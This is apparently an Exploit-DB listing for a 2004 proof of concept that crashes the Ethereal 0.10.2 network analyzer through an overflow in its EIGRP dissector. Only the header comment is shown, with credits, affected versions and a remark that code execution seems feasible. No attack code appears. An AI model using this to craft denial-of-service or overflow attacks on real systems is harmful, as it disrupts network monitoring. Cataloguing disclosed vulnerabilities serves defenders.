Ethereal - EIGRP Dissector TLV_IP_INT Long IP Remote Denial of Service

EDB-ID:

170


Platform:

/*
 * Ethereal network protocol analyzer
 * EIGRP Dissector TLV_IP_INT Long IP Address Overflow
 * vulnerability
 * proof of concept code
 * version 1.0 (Mar 26 2004)
 *
 * by R&#65533;mi Denis-Courmont < ethereal at simphalampin dot com >
 *   www simphalempin com dev 
 *
 * This vulnerability was found by:
 *   Stefan Esser s.esser e-matters de
 * whose original advisory may be fetched from:
 *   security e-matters de advisories 032004.html
 *
 * Vulnerable:
 *  - Ethereal v0.10.2
 *
 * Not vulnerable:
 *  - Ethreal v0.10.3
 *
 * Note: this code will simply trigger a denial of service on Ethereal.
 * It should really be possible to exploit the buffer overflow
 * (apparently up to 29 bytes overflow), but I haven't tried.
